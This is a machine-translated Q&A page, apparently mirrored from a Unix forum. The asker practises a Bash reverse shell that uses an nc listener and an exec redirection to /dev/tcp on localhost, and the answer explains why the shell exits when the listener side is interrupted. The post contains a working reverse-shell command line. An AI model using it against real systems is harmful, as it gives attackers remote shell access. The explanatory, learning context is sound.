![使用“exec”重定向所有主文件描述符会导致 shell 在程序存在后退出,具体取决于哪一端关闭连接?](https://linux22.com/image/156570/%E4%BD%BF%E7%94%A8%E2%80%9Cexec%E2%80%9D%E9%87%8D%E5%AE%9A%E5%90%91%E6%89%80%E6%9C%89%E4%B8%BB%E6%96%87%E4%BB%B6%E6%8F%8F%E8%BF%B0%E7%AC%A6%E4%BC%9A%E5%AF%BC%E8%87%B4%20shell%20%E5%9C%A8%E7%A8%8B%E5%BA%8F%E5%AD%98%E5%9C%A8%E5%90%8E%E9%80%80%E5%87%BA%EF%BC%8C%E5%85%B7%E4%BD%93%E5%8F%96%E5%86%B3%E4%BA%8E%E5%93%AA%E4%B8%80%E7%AB%AF%E5%85%B3%E9%97%AD%E8%BF%9E%E6%8E%A5%EF%BC%9F.png)
我一直Bash
通过使用各种重定向运算符创建反向 shell 来练习我的技能。
设置nc
监听器后:
nc -lvp 4444
我运行以下命令:
0<&116-; exec 116<>/dev/tcp/127.0.0.1/4444 >&116 <&116 2>&116; /bin/sh
我无法解释的是为什么/bin/sh
shell 在连接断开后退出,但前提是 shell通过按?nc
断开连接。^C
如果/bin/sh
shell断开连接,那么在shell^C
中输入/bin/sh
会导致shell中出现换行符nc
吗?
答案1
0<&116-;
除了触发错误之外,不知道这应该实现什么(除非 fd 116 已经打开,在这种情况下它也不会做任何值得注意的事情)。
让读者感到困惑?
exec 116<>/dev/tcp/127.0.0.1/4444 >&116 <&116 2>&116; /bin/sh
即使你通过套接字将当前 shell 的 stdin、stdout 和 stderr 重定向到监听nc
,当前终端仍然是控制终端外壳的。
当前终端中的 ^C 会将 a 发送SIGINT
到前台作业,该作业(如果不等待另一个命令)就是 shell 本身,即交互的,将捕获SIGINT
并在捕获后重新打印其提示。
另一个终端(nc -l ..
正在运行的终端,以及 shell 从中获取输入并将其输出打印到的终端)中的 ^C 将终止nc
并关闭其所有连接,导致 shell 由于EOF
其标准输入而退出。
同样,目前还不清楚额外的费用/bin/sh
应该达到什么目的。它将立即退出,因为它从其父级继承了EOF
stdin 或SIGPIPE
/ EPIPE
stdout(与 的连接已断开nc
)。